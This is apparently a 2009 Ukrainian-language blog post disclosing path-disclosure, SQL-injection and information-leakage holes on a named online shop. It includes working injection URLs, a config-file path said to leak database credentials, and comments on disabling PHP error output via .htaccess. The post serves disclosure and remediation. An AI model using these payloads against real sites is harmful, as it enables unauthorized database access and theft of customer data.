Уразливості на tvshop.com.ua
19:26 03.07.200921.04.2009
У липні, 24.07.2008, я виявив Full path disclosure, SQL Injection та Information Leakage уразливості на сайті http://tvshop.com.ua (інтернет магазин), що також доступний за адресою http://i-shop.com.ua. Про що найближчим часом сповіщу адміністрацію сайта.
Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на www.cddoma.com.ua.
Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.
03.07.2009
Full path disclosure:
http://tvshop.com.ua/itemlist.php?cid=’
http://tvshop.com.ua/item.php
http://tvshop.com.ua/itemlist.php
http://tvshop.com.ua/catalog.php
SQL Injection:
http://tvshop.com.ua/itemlist.php?cid=-1%20or%20version()=4.0
http://tvshop.com.ua/catalog.php?cid=-1%20union%20select%201,version(),1,1,1/*
MySQL 4.0.27-standard-log
Зазначу, що в таблиці клієнтів магазину в БД торік, 24.07.2008, було 17197 записів. А сьогодні, майже через рік, 18112 записів. Тобто майже за рік у магазина збільшилося число клієнтів на 915. А хтось тут про кризис росказує .
Information Leakage:
http://tvshop.com.ua/init.tpl
Витік login, password і name для бази даних та Source Code Disclosure.
Дані уразливості досі не виправлені.
П'ятниця, 21:33 03.07.2009
Full path disclosure:
http://tvshop.com.ua/showhelp.php?c[]=7
для виправлення потрібно добавити перевірку is_array параметру $_GET[’c']
П'ятниця, 23:48 03.07.2009
poma
Так, дірок на сайті може бути ще багато. Зокрема Full path disclosure.
Звичайно можна їх всіх окремо виправляти, так як для showhelp.php ти запропонував, і відповідно повипрявляти дані уразливості в кожному скрипті на сайті, де вони мають місце. Але враховуючи, що таких уразливостей може бути багато, то це не оптимальний варіант.
Найкращим варіантом для виправлення Full path disclosure в PHP є виключення виведення помилок. Про що я вже давно запланував написати статтю. Так що варто виправити дану уразливість одразу для всього сайту.
Субота, 00:18 04.07.2009
найпростіше створити .htaccess в корені, з таким вмістом:
php_valu error_reporting “0″
php_valu display_errors Off
php_flag display_errors Off
php_flag log_errors “0″
Субота, 01:46 04.07.2009
Саме це і треба зробити - задати відповідні налаштування в .htaccess, для відключення повідомлень про помилки. І розмістити цей файл варто в корені сайту, щоб його налаштування діяли на весь сайт. Це більш зручний і надійний варіант, ніж виправляти дані уразливості в кожному окремому php-файлі (щоб одразу виправити їх на всьому сайті).
Я використовую дещо інші налаштування в своїй практиці. І я напишу про них в своїй статті.